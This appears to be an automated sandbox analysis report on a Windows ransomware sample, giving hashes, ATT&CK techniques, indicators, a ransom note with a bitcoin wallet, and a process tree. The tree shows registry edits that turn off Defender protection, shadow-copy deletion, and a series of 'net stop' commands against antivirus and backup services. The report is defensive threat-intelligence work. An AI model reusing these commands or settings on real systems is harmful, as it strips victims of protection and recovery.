cd0f55dd00111251cd580c7e7cc1d17448faf27e4ef39818d75ce330628c7787

Analysis

max time kernel
150s
max time network
128s
platform
windows11-21h2_x64
resource
win11-20240802-en
resource tags

arch:x64arch:x86image:win11-20240802-enlocale:en-usos:windows11-21h2-x64system
submitted
15-09-2024 22:57

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General

Target

c460fc0d4fdaf5c68623e18de106f1c3601d7bd6ba80ddad86c10fd6ea123850.exe
Size

87KB
MD5

d6d956267a268c9dcf48445629d2803e
SHA1

cc0feae505dad9c140dd21d1b40b518d8e61b3a4
SHA256

c460fc0d4fdaf5c68623e18de106f1c3601d7bd6ba80ddad86c10fd6ea123850
SHA512

e0791f6eb3116d0590be3af3713c94f787f7ced8e904d4bb8fc0d1341f332053414cb1e9095ae2de041b9e6d6d55cf773bf45ebeb74f27bb95c11a3cc364abee
SSDEEP

1536:OXMLuZQG3KJ3QaIH9shR4fZcvr4C9u3MTIdD9mtthd9JovrgmqhtvM4CoLT6QPbc:gMLuZraJ3a0ehcvv9sM+9mtthd0gmWkr

Score

10^/10

defense_evasion discovery evasion execution impact persistence ransomware trojan

Malware Config

Signatures

Contains code to disable Windows Defender 1 IoCs

A .NET executable tasked with disabling Windows Defender capabilities such as realtime monitoring, blocking at first seen, etc.

resource	yara_rule
behavioral8/memory/4756-1-0x0000000000B10000-0x0000000000B2C000-memory.dmp	disable_win_def

Disables service(s) 3 TTPs
evasion execution

Windows Service
T1543.003

Service Stop
T1489

Service Execution
T1569.002

Modifies Windows Defender Real-time Protection settings 3 TTPs 4 IoCs

evasion trojan

Modify Registry

T1112

Windows Service

T1543.003

Disable or Modify Tools

T1562.001

description	ioc	Process
Key created	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection	c460fc0d4fdaf5c68623e18de106f1c3601d7bd6ba80ddad86c10fd6ea123850.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableBehaviorMonitoring = "1"	c460fc0d4fdaf5c68623e18de106f1c3601d7bd6ba80ddad86c10fd6ea123850.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableOnAccessProtection = "1"	c460fc0d4fdaf5c68623e18de106f1c3601d7bd6ba80ddad86c10fd6ea123850.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableScanOnRealtimeEnable = "1"	c460fc0d4fdaf5c68623e18de106f1c3601d7bd6ba80ddad86c10fd6ea123850.exe

Deletes shadow copies 3 TTPs
Ransomware often targets backup files to inhibit system recovery.
ransomware defense_evasion impact execution

File Deletion
T1070.004

Inhibit System Recovery
T1490

Windows Management Instrumentation
T1047
Renames multiple (54) files with added filename extension
This suggests ransomware activity of encrypting all the files on the system.
ransomware

Blocklisted process makes network request 4 IoCs

flow	pid	Process
5	4604	mshta.exe
6	4604	mshta.exe
7	4604	mshta.exe
8	4604	mshta.exe

Drops startup file 1 IoCs

description	ioc	Process
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\mystartup.lnk	c460fc0d4fdaf5c68623e18de106f1c3601d7bd6ba80ddad86c10fd6ea123850.exe

Windows security modification 2 TTPs 1 IoCs

evasion trojan

Disable or Modify Tools

T1562.001

Modify Registry

T1112

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Features\TamperProtection = "0"	c460fc0d4fdaf5c68623e18de106f1c3601d7bd6ba80ddad86c10fd6ea123850.exe

Legitimate hosting services abused for malware hosting/C2 1 TTPs 2 IoCs

Web Service

T1102

flow	ioc
1	raw.githubusercontent.com
2	raw.githubusercontent.com

Modifies WinLogon 2 TTPs 2 IoCs

persistence

Winlogon Helper DLL

T1547.004

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\LegalNoticeCaption = "Information..."	c460fc0d4fdaf5c68623e18de106f1c3601d7bd6ba80ddad86c10fd6ea123850.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\LegalNoticeText = "Your Files are Encrypted.\r\n\r\nDon’t worry, you can return all your files!\r\n\r\nYou've got 48 hours(2 Days), before you lost your files forever.\r\nI will treat you good if you treat me good too.\r\n\r\nThe Price to get all things to the normal : 20,000$\r\nMy BTC Wallet ID :\r\n1F6sq8YvftTfuE4QcYxfK8s5XFUUHC7sD9\r\n\r\nContact :\r\[email protected]\r\n"	c460fc0d4fdaf5c68623e18de106f1c3601d7bd6ba80ddad86c10fd6ea123850.exe

Launches sc.exe 4 IoCs

Sc.exe is a Windows utlilty to control services on the system.

pid	Process
2464	sc.exe
1320	sc.exe
3944	sc.exe
428	sc.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

System Network Configuration Discovery: Internet Connection Discovery 1 TTPs 2 IoCs

Adversaries may check for Internet connectivity on compromised systems.

discovery

Internet Connection Discovery

T1016.001

pid	Process
5840	PING.EXE
1048	cmd.exe

Interacts with shadow copies 3 TTPs 14 IoCs

Shadow copies are often targeted by ransomware to inhibit system recovery.

ransomware

File Deletion

T1070.004

Inhibit System Recovery

T1490

Direct Volume Access

T1006

pid	Process
1336	vssadmin.exe
1728	vssadmin.exe
1784	vssadmin.exe
3932	vssadmin.exe
3684	vssadmin.exe
2148	vssadmin.exe
1416	vssadmin.exe
4276	vssadmin.exe
976	vssadmin.exe
2316	vssadmin.exe
3028	vssadmin.exe
336	vssadmin.exe
3116	vssadmin.exe
4228	vssadmin.exe

Kills process with taskkill 3 IoCs

evasion

pid	Process
1620	taskkill.exe
4948	taskkill.exe
4960	taskkill.exe

Runs net.exe

Runs ping.exe 1 TTPs 1 IoCs

Remote System Discovery

T1018

pid	Process
5840	PING.EXE

Suspicious behavior: EnumeratesProcesses 64 IoCs

pid	Process
4756	c460fc0d4fdaf5c68623e18de106f1c3601d7bd6ba80ddad86c10fd6ea123850.exe
4756	c460fc0d4fdaf5c68623e18de106f1c3601d7bd6ba80ddad86c10fd6ea123850.exe
4756	c460fc0d4fdaf5c68623e18de106f1c3601d7bd6ba80ddad86c10fd6ea123850.exe
4756	c460fc0d4fdaf5c68623e18de106f1c3601d7bd6ba80ddad86c10fd6ea123850.exe
4756	c460fc0d4fdaf5c68623e18de106f1c3601d7bd6ba80ddad86c10fd6ea123850.exe
4756	c460fc0d4fdaf5c68623e18de106f1c3601d7bd6ba80ddad86c10fd6ea123850.exe
4756	c460fc0d4fdaf5c68623e18de106f1c3601d7bd6ba80ddad86c10fd6ea123850.exe
4756	c460fc0d4fdaf5c68623e18de106f1c3601d7bd6ba80ddad86c10fd6ea123850.exe
3732	powershell.exe
3732	powershell.exe
4756	c460fc0d4fdaf5c68623e18de106f1c3601d7bd6ba80ddad86c10fd6ea123850.exe
4756	c460fc0d4fdaf5c68623e18de106f1c3601d7bd6ba80ddad86c10fd6ea123850.exe
4756	c460fc0d4fdaf5c68623e18de106f1c3601d7bd6ba80ddad86c10fd6ea123850.exe
4756	c460fc0d4fdaf5c68623e18de106f1c3601d7bd6ba80ddad86c10fd6ea123850.exe
4756	c460fc0d4fdaf5c68623e18de106f1c3601d7bd6ba80ddad86c10fd6ea123850.exe
4756	c460fc0d4fdaf5c68623e18de106f1c3601d7bd6ba80ddad86c10fd6ea123850.exe
4756	c460fc0d4fdaf5c68623e18de106f1c3601d7bd6ba80ddad86c10fd6ea123850.exe
4756	c460fc0d4fdaf5c68623e18de106f1c3601d7bd6ba80ddad86c10fd6ea123850.exe
4756	c460fc0d4fdaf5c68623e18de106f1c3601d7bd6ba80ddad86c10fd6ea123850.exe
4756	c460fc0d4fdaf5c68623e18de106f1c3601d7bd6ba80ddad86c10fd6ea123850.exe
4756	c460fc0d4fdaf5c68623e18de106f1c3601d7bd6ba80ddad86c10fd6ea123850.exe
4756	c460fc0d4fdaf5c68623e18de106f1c3601d7bd6ba80ddad86c10fd6ea123850.exe
4756	c460fc0d4fdaf5c68623e18de106f1c3601d7bd6ba80ddad86c10fd6ea123850.exe
4756	c460fc0d4fdaf5c68623e18de106f1c3601d7bd6ba80ddad86c10fd6ea123850.exe
4756	c460fc0d4fdaf5c68623e18de106f1c3601d7bd6ba80ddad86c10fd6ea123850.exe
4756	c460fc0d4fdaf5c68623e18de106f1c3601d7bd6ba80ddad86c10fd6ea123850.exe
4756	c460fc0d4fdaf5c68623e18de106f1c3601d7bd6ba80ddad86c10fd6ea123850.exe
4756	c460fc0d4fdaf5c68623e18de106f1c3601d7bd6ba80ddad86c10fd6ea123850.exe
4756	c460fc0d4fdaf5c68623e18de106f1c3601d7bd6ba80ddad86c10fd6ea123850.exe
4756	c460fc0d4fdaf5c68623e18de106f1c3601d7bd6ba80ddad86c10fd6ea123850.exe
4756	c460fc0d4fdaf5c68623e18de106f1c3601d7bd6ba80ddad86c10fd6ea123850.exe
4756	c460fc0d4fdaf5c68623e18de106f1c3601d7bd6ba80ddad86c10fd6ea123850.exe
4756	c460fc0d4fdaf5c68623e18de106f1c3601d7bd6ba80ddad86c10fd6ea123850.exe
4756	c460fc0d4fdaf5c68623e18de106f1c3601d7bd6ba80ddad86c10fd6ea123850.exe
4756	c460fc0d4fdaf5c68623e18de106f1c3601d7bd6ba80ddad86c10fd6ea123850.exe
4756	c460fc0d4fdaf5c68623e18de106f1c3601d7bd6ba80ddad86c10fd6ea123850.exe
4756	c460fc0d4fdaf5c68623e18de106f1c3601d7bd6ba80ddad86c10fd6ea123850.exe
4756	c460fc0d4fdaf5c68623e18de106f1c3601d7bd6ba80ddad86c10fd6ea123850.exe
4756	c460fc0d4fdaf5c68623e18de106f1c3601d7bd6ba80ddad86c10fd6ea123850.exe
4756	c460fc0d4fdaf5c68623e18de106f1c3601d7bd6ba80ddad86c10fd6ea123850.exe
4756	c460fc0d4fdaf5c68623e18de106f1c3601d7bd6ba80ddad86c10fd6ea123850.exe
4756	c460fc0d4fdaf5c68623e18de106f1c3601d7bd6ba80ddad86c10fd6ea123850.exe
4756	c460fc0d4fdaf5c68623e18de106f1c3601d7bd6ba80ddad86c10fd6ea123850.exe
4756	c460fc0d4fdaf5c68623e18de106f1c3601d7bd6ba80ddad86c10fd6ea123850.exe
4756	c460fc0d4fdaf5c68623e18de106f1c3601d7bd6ba80ddad86c10fd6ea123850.exe
4756	c460fc0d4fdaf5c68623e18de106f1c3601d7bd6ba80ddad86c10fd6ea123850.exe
4756	c460fc0d4fdaf5c68623e18de106f1c3601d7bd6ba80ddad86c10fd6ea123850.exe
4756	c460fc0d4fdaf5c68623e18de106f1c3601d7bd6ba80ddad86c10fd6ea123850.exe
4756	c460fc0d4fdaf5c68623e18de106f1c3601d7bd6ba80ddad86c10fd6ea123850.exe
4756	c460fc0d4fdaf5c68623e18de106f1c3601d7bd6ba80ddad86c10fd6ea123850.exe
4756	c460fc0d4fdaf5c68623e18de106f1c3601d7bd6ba80ddad86c10fd6ea123850.exe
4756	c460fc0d4fdaf5c68623e18de106f1c3601d7bd6ba80ddad86c10fd6ea123850.exe
4756	c460fc0d4fdaf5c68623e18de106f1c3601d7bd6ba80ddad86c10fd6ea123850.exe
4756	c460fc0d4fdaf5c68623e18de106f1c3601d7bd6ba80ddad86c10fd6ea123850.exe
4756	c460fc0d4fdaf5c68623e18de106f1c3601d7bd6ba80ddad86c10fd6ea123850.exe
4756	c460fc0d4fdaf5c68623e18de106f1c3601d7bd6ba80ddad86c10fd6ea123850.exe
4756	c460fc0d4fdaf5c68623e18de106f1c3601d7bd6ba80ddad86c10fd6ea123850.exe
4756	c460fc0d4fdaf5c68623e18de106f1c3601d7bd6ba80ddad86c10fd6ea123850.exe
4756	c460fc0d4fdaf5c68623e18de106f1c3601d7bd6ba80ddad86c10fd6ea123850.exe
4756	c460fc0d4fdaf5c68623e18de106f1c3601d7bd6ba80ddad86c10fd6ea123850.exe
4756	c460fc0d4fdaf5c68623e18de106f1c3601d7bd6ba80ddad86c10fd6ea123850.exe
4756	c460fc0d4fdaf5c68623e18de106f1c3601d7bd6ba80ddad86c10fd6ea123850.exe
4756	c460fc0d4fdaf5c68623e18de106f1c3601d7bd6ba80ddad86c10fd6ea123850.exe
4756	c460fc0d4fdaf5c68623e18de106f1c3601d7bd6ba80ddad86c10fd6ea123850.exe

Suspicious use of AdjustPrivilegeToken 5 IoCs

description	pid	Process
Token: SeDebugPrivilege	4756	c460fc0d4fdaf5c68623e18de106f1c3601d7bd6ba80ddad86c10fd6ea123850.exe
Token: SeDebugPrivilege	3732	powershell.exe
Token: SeDebugPrivilege	4960	taskkill.exe
Token: SeDebugPrivilege	1620	taskkill.exe
Token: SeDebugPrivilege	4948	taskkill.exe

Suspicious use of FindShellTrayWindow 3 IoCs

pid	Process
4756	c460fc0d4fdaf5c68623e18de106f1c3601d7bd6ba80ddad86c10fd6ea123850.exe
4756	c460fc0d4fdaf5c68623e18de106f1c3601d7bd6ba80ddad86c10fd6ea123850.exe
4756	c460fc0d4fdaf5c68623e18de106f1c3601d7bd6ba80ddad86c10fd6ea123850.exe

Suspicious use of SendNotifyMessage 3 IoCs

pid	Process
4756	c460fc0d4fdaf5c68623e18de106f1c3601d7bd6ba80ddad86c10fd6ea123850.exe
4756	c460fc0d4fdaf5c68623e18de106f1c3601d7bd6ba80ddad86c10fd6ea123850.exe
4756	c460fc0d4fdaf5c68623e18de106f1c3601d7bd6ba80ddad86c10fd6ea123850.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 4756 wrote to memory of 3732	4756	c460fc0d4fdaf5c68623e18de106f1c3601d7bd6ba80ddad86c10fd6ea123850.exe	80
PID 4756 wrote to memory of 3732	4756	c460fc0d4fdaf5c68623e18de106f1c3601d7bd6ba80ddad86c10fd6ea123850.exe	80
PID 4756 wrote to memory of 3348	4756	c460fc0d4fdaf5c68623e18de106f1c3601d7bd6ba80ddad86c10fd6ea123850.exe	83
PID 4756 wrote to memory of 3348	4756	c460fc0d4fdaf5c68623e18de106f1c3601d7bd6ba80ddad86c10fd6ea123850.exe	83
PID 4756 wrote to memory of 2832	4756	c460fc0d4fdaf5c68623e18de106f1c3601d7bd6ba80ddad86c10fd6ea123850.exe	84
PID 4756 wrote to memory of 2832	4756	c460fc0d4fdaf5c68623e18de106f1c3601d7bd6ba80ddad86c10fd6ea123850.exe	84
PID 4756 wrote to memory of 4712	4756	c460fc0d4fdaf5c68623e18de106f1c3601d7bd6ba80ddad86c10fd6ea123850.exe	85
PID 4756 wrote to memory of 4712	4756	c460fc0d4fdaf5c68623e18de106f1c3601d7bd6ba80ddad86c10fd6ea123850.exe	85
PID 4756 wrote to memory of 3192	4756	c460fc0d4fdaf5c68623e18de106f1c3601d7bd6ba80ddad86c10fd6ea123850.exe	86
PID 4756 wrote to memory of 3192	4756	c460fc0d4fdaf5c68623e18de106f1c3601d7bd6ba80ddad86c10fd6ea123850.exe	86
PID 4756 wrote to memory of 492	4756	c460fc0d4fdaf5c68623e18de106f1c3601d7bd6ba80ddad86c10fd6ea123850.exe	87
PID 4756 wrote to memory of 492	4756	c460fc0d4fdaf5c68623e18de106f1c3601d7bd6ba80ddad86c10fd6ea123850.exe	87
PID 4756 wrote to memory of 2836	4756	c460fc0d4fdaf5c68623e18de106f1c3601d7bd6ba80ddad86c10fd6ea123850.exe	88
PID 4756 wrote to memory of 2836	4756	c460fc0d4fdaf5c68623e18de106f1c3601d7bd6ba80ddad86c10fd6ea123850.exe	88
PID 4756 wrote to memory of 1580	4756	c460fc0d4fdaf5c68623e18de106f1c3601d7bd6ba80ddad86c10fd6ea123850.exe	89
PID 4756 wrote to memory of 1580	4756	c460fc0d4fdaf5c68623e18de106f1c3601d7bd6ba80ddad86c10fd6ea123850.exe	89
PID 4756 wrote to memory of 4880	4756	c460fc0d4fdaf5c68623e18de106f1c3601d7bd6ba80ddad86c10fd6ea123850.exe	90
PID 4756 wrote to memory of 4880	4756	c460fc0d4fdaf5c68623e18de106f1c3601d7bd6ba80ddad86c10fd6ea123850.exe	90
PID 4756 wrote to memory of 800	4756	c460fc0d4fdaf5c68623e18de106f1c3601d7bd6ba80ddad86c10fd6ea123850.exe	91
PID 4756 wrote to memory of 800	4756	c460fc0d4fdaf5c68623e18de106f1c3601d7bd6ba80ddad86c10fd6ea123850.exe	91
PID 4756 wrote to memory of 2376	4756	c460fc0d4fdaf5c68623e18de106f1c3601d7bd6ba80ddad86c10fd6ea123850.exe	92
PID 4756 wrote to memory of 2376	4756	c460fc0d4fdaf5c68623e18de106f1c3601d7bd6ba80ddad86c10fd6ea123850.exe	92
PID 4756 wrote to memory of 4084	4756	c460fc0d4fdaf5c68623e18de106f1c3601d7bd6ba80ddad86c10fd6ea123850.exe	93
PID 4756 wrote to memory of 4084	4756	c460fc0d4fdaf5c68623e18de106f1c3601d7bd6ba80ddad86c10fd6ea123850.exe	93
PID 4756 wrote to memory of 2036	4756	c460fc0d4fdaf5c68623e18de106f1c3601d7bd6ba80ddad86c10fd6ea123850.exe	94
PID 4756 wrote to memory of 2036	4756	c460fc0d4fdaf5c68623e18de106f1c3601d7bd6ba80ddad86c10fd6ea123850.exe	94
PID 4756 wrote to memory of 4856	4756	c460fc0d4fdaf5c68623e18de106f1c3601d7bd6ba80ddad86c10fd6ea123850.exe	95
PID 4756 wrote to memory of 4856	4756	c460fc0d4fdaf5c68623e18de106f1c3601d7bd6ba80ddad86c10fd6ea123850.exe	95
PID 4756 wrote to memory of 4124	4756	c460fc0d4fdaf5c68623e18de106f1c3601d7bd6ba80ddad86c10fd6ea123850.exe	96
PID 4756 wrote to memory of 4124	4756	c460fc0d4fdaf5c68623e18de106f1c3601d7bd6ba80ddad86c10fd6ea123850.exe	96
PID 4756 wrote to memory of 696	4756	c460fc0d4fdaf5c68623e18de106f1c3601d7bd6ba80ddad86c10fd6ea123850.exe	97
PID 4756 wrote to memory of 696	4756	c460fc0d4fdaf5c68623e18de106f1c3601d7bd6ba80ddad86c10fd6ea123850.exe	97
PID 4756 wrote to memory of 4512	4756	c460fc0d4fdaf5c68623e18de106f1c3601d7bd6ba80ddad86c10fd6ea123850.exe	98
PID 4756 wrote to memory of 4512	4756	c460fc0d4fdaf5c68623e18de106f1c3601d7bd6ba80ddad86c10fd6ea123850.exe	98
PID 4756 wrote to memory of 2304	4756	c460fc0d4fdaf5c68623e18de106f1c3601d7bd6ba80ddad86c10fd6ea123850.exe	99
PID 4756 wrote to memory of 2304	4756	c460fc0d4fdaf5c68623e18de106f1c3601d7bd6ba80ddad86c10fd6ea123850.exe	99
PID 4756 wrote to memory of 72	4756	c460fc0d4fdaf5c68623e18de106f1c3601d7bd6ba80ddad86c10fd6ea123850.exe	100
PID 4756 wrote to memory of 72	4756	c460fc0d4fdaf5c68623e18de106f1c3601d7bd6ba80ddad86c10fd6ea123850.exe	100
PID 4756 wrote to memory of 972	4756	c460fc0d4fdaf5c68623e18de106f1c3601d7bd6ba80ddad86c10fd6ea123850.exe	102
PID 4756 wrote to memory of 972	4756	c460fc0d4fdaf5c68623e18de106f1c3601d7bd6ba80ddad86c10fd6ea123850.exe	102
PID 4756 wrote to memory of 2520	4756	c460fc0d4fdaf5c68623e18de106f1c3601d7bd6ba80ddad86c10fd6ea123850.exe	103
PID 4756 wrote to memory of 2520	4756	c460fc0d4fdaf5c68623e18de106f1c3601d7bd6ba80ddad86c10fd6ea123850.exe	103
PID 4756 wrote to memory of 4836	4756	c460fc0d4fdaf5c68623e18de106f1c3601d7bd6ba80ddad86c10fd6ea123850.exe	104
PID 4756 wrote to memory of 4836	4756	c460fc0d4fdaf5c68623e18de106f1c3601d7bd6ba80ddad86c10fd6ea123850.exe	104
PID 4756 wrote to memory of 1968	4756	c460fc0d4fdaf5c68623e18de106f1c3601d7bd6ba80ddad86c10fd6ea123850.exe	105
PID 4756 wrote to memory of 1968	4756	c460fc0d4fdaf5c68623e18de106f1c3601d7bd6ba80ddad86c10fd6ea123850.exe	105
PID 4756 wrote to memory of 1080	4756	c460fc0d4fdaf5c68623e18de106f1c3601d7bd6ba80ddad86c10fd6ea123850.exe	106
PID 4756 wrote to memory of 1080	4756	c460fc0d4fdaf5c68623e18de106f1c3601d7bd6ba80ddad86c10fd6ea123850.exe	106
PID 4756 wrote to memory of 3560	4756	c460fc0d4fdaf5c68623e18de106f1c3601d7bd6ba80ddad86c10fd6ea123850.exe	108
PID 4756 wrote to memory of 3560	4756	c460fc0d4fdaf5c68623e18de106f1c3601d7bd6ba80ddad86c10fd6ea123850.exe	108
PID 4756 wrote to memory of 3168	4756	c460fc0d4fdaf5c68623e18de106f1c3601d7bd6ba80ddad86c10fd6ea123850.exe	109
PID 4756 wrote to memory of 3168	4756	c460fc0d4fdaf5c68623e18de106f1c3601d7bd6ba80ddad86c10fd6ea123850.exe	109
PID 4756 wrote to memory of 3892	4756	c460fc0d4fdaf5c68623e18de106f1c3601d7bd6ba80ddad86c10fd6ea123850.exe	110
PID 4756 wrote to memory of 3892	4756	c460fc0d4fdaf5c68623e18de106f1c3601d7bd6ba80ddad86c10fd6ea123850.exe	110
PID 4756 wrote to memory of 3316	4756	c460fc0d4fdaf5c68623e18de106f1c3601d7bd6ba80ddad86c10fd6ea123850.exe	112
PID 4756 wrote to memory of 3316	4756	c460fc0d4fdaf5c68623e18de106f1c3601d7bd6ba80ddad86c10fd6ea123850.exe	112
PID 4756 wrote to memory of 1144	4756	c460fc0d4fdaf5c68623e18de106f1c3601d7bd6ba80ddad86c10fd6ea123850.exe	113
PID 4756 wrote to memory of 1144	4756	c460fc0d4fdaf5c68623e18de106f1c3601d7bd6ba80ddad86c10fd6ea123850.exe	113
PID 4756 wrote to memory of 1436	4756	c460fc0d4fdaf5c68623e18de106f1c3601d7bd6ba80ddad86c10fd6ea123850.exe	114
PID 4756 wrote to memory of 1436	4756	c460fc0d4fdaf5c68623e18de106f1c3601d7bd6ba80ddad86c10fd6ea123850.exe	114
PID 4756 wrote to memory of 4148	4756	c460fc0d4fdaf5c68623e18de106f1c3601d7bd6ba80ddad86c10fd6ea123850.exe	115
PID 4756 wrote to memory of 4148	4756	c460fc0d4fdaf5c68623e18de106f1c3601d7bd6ba80ddad86c10fd6ea123850.exe	115
PID 4756 wrote to memory of 2620	4756	c460fc0d4fdaf5c68623e18de106f1c3601d7bd6ba80ddad86c10fd6ea123850.exe	116
PID 4756 wrote to memory of 2620	4756	c460fc0d4fdaf5c68623e18de106f1c3601d7bd6ba80ddad86c10fd6ea123850.exe	116

C:\Users\Admin\AppData\Local\Temp\c460fc0d4fdaf5c68623e18de106f1c3601d7bd6ba80ddad86c10fd6ea123850.exe
"C:\Users\Admin\AppData\Local\Temp\c460fc0d4fdaf5c68623e18de106f1c3601d7bd6ba80ddad86c10fd6ea123850.exe"
1⤵
- Modifies Windows Defender Real-time Protection settings
- Drops startup file
- Windows security modification
- Modifies WinLogon
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of FindShellTrayWindow
- Suspicious use of SendNotifyMessage
- Suspicious use of WriteProcessMemory
PID:4756
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell" Get-MpPreference -verbose
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:3732
- C:\Windows\SYSTEM32\net.exe
  "net.exe" stop avpsus /y
  2⤵
  PID:3348
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 stop avpsus /y
    3⤵
    PID:5596
- C:\Windows\SYSTEM32\net.exe
  "net.exe" stop McAfeeDLPAgentService /y
  2⤵
  PID:2832
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 stop McAfeeDLPAgentService /y
    3⤵
    PID:5692
- C:\Windows\SYSTEM32\net.exe
  "net.exe" stop mfewc /y
  2⤵
  PID:4712
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 stop mfewc /y
    3⤵
    PID:5808
- C:\Windows\SYSTEM32\net.exe
  "net.exe" stop BMR Boot Service /y
  2⤵
  PID:3192
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 stop BMR Boot Service /y
    3⤵
    PID:5736
- C:\Windows\SYSTEM32\net.exe
  "net.exe" stop NetBackup BMR MTFTP Service /y
  2⤵
  PID:492
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 stop NetBackup BMR MTFTP Service /y
    3⤵
    PID:5624
- C:\Windows\SYSTEM32\net.exe
  "net.exe" stop DefWatch /y
  2⤵
  PID:2836
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 stop DefWatch /y
    3⤵
    PID:5636
- C:\Windows\SYSTEM32\net.exe
  "net.exe" stop ccEvtMgr /y
  2⤵
  PID:1580
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 stop ccEvtMgr /y
    3⤵
    PID:5972
- C:\Windows\SYSTEM32\net.exe
  "net.exe" stop ccSetMgr /y
  2⤵
  PID:4880
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 stop ccSetMgr /y
    3⤵
    PID:5784
- C:\Windows\SYSTEM32\net.exe
  "net.exe" stop SavRoam /y
  2⤵
  PID:800
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 stop SavRoam /y
    3⤵
    PID:5644
- C:\Windows\SYSTEM32\net.exe
  "net.exe" stop RTVscan /y
  2⤵
  PID:2376
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 stop RTVscan /y
    3⤵
    PID:5960
- C:\Windows\SYSTEM32\net.exe
  "net.exe" stop QBFCService /y
  2⤵
  PID:4084
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 stop QBFCService /y
    3⤵
    PID:5712
- C:\Windows\SYSTEM32\net.exe
  "net.exe" stop QBIDPService /y
  2⤵
  PID:2036
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 stop QBIDPService /y
    3⤵
    PID:5924
- C:\Windows\SYSTEM32\net.exe
  "net.exe" stop Intuit.QuickBooks.FCS /y
  2⤵
  PID:4856
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 stop Intuit.QuickBooks.FCS /y
    3⤵
    PID:5948
- C:\Windows\SYSTEM32\net.exe
  "net.exe" stop QBCFMonitorService /y
  2⤵
  PID:4124
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 stop QBCFMonitorService /y
    3⤵
    PID:6084
- C:\Windows\SYSTEM32\net.exe
  "net.exe" stop YooBackup /y
  2⤵
  PID:696
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 stop YooBackup /y
    3⤵
    PID:5836
- C:\Windows\SYSTEM32\net.exe
  "net.exe" stop YooIT /y
  2⤵
  PID:4512
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 stop YooIT /y
    3⤵
    PID:5792
- C:\Windows\SYSTEM32\net.exe
  "net.exe" stop zhudongfangyu /y
  2⤵
  PID:2304
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 stop zhudongfangyu /y
    3⤵
    PID:5816
- C:\Windows\SYSTEM32\net.exe
  "net.exe" stop stc_raw_agent /y
  2⤵
  PID:72
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 stop stc_raw_agent /y
    3⤵
    PID:5720
- C:\Windows\SYSTEM32\net.exe
  "net.exe" stop VSNAPVSS /y
  2⤵
  PID:972
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 stop VSNAPVSS /y
    3⤵
    PID:5776
- C:\Windows\SYSTEM32\net.exe
  "net.exe" stop VeeamTransportSvc /y
  2⤵
  PID:2520
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 stop VeeamTransportSvc /y
    3⤵
    PID:5800
- C:\Windows\SYSTEM32\net.exe
  "net.exe" stop VeeamDeploymentService /y
  2⤵
  PID:4836
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 stop VeeamDeploymentService /y
    3⤵
    PID:5828
- C:\Windows\SYSTEM32\net.exe
  "net.exe" stop VeeamNFSSvc /y
  2⤵
  PID:1968
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 stop VeeamNFSSvc /y
    3⤵
    PID:5728
- C:\Windows\SYSTEM32\net.exe
  "net.exe" stop veeam /y
  2⤵
  PID:1080
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 stop veeam /y
    3⤵
    PID:5844
- C:\Windows\SYSTEM32\net.exe
  "net.exe" stop PDVFSService /y
  2⤵
  PID:3560
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 stop PDVFSService /y
    3⤵
    PID:5912
- C:\Windows\SYSTEM32\net.exe
  "net.exe" stop BackupExecVSSProvider /y
  2⤵
  PID:3168
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 stop BackupExecVSSProvider /y
    3⤵
    PID:5852
- C:\Windows\SYSTEM32\net.exe
  "net.exe" stop BackupExecAgentAccelerator /y
  2⤵
  PID:3892
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 stop BackupExecAgentAccelerator /y
    3⤵
    PID:5888
- C:\Windows\SYSTEM32\net.exe
  "net.exe" stop BackupExecAgentBrowser /y
  2⤵
  PID:3316
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 stop BackupExecAgentBrowser /y
    3⤵
    PID:5860
- C:\Windows\SYSTEM32\net.exe
  "net.exe" stop BackupExecDiveciMediaService /y
  2⤵
  PID:1144
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 stop BackupExecDiveciMediaService /y
    3⤵
    PID:6116
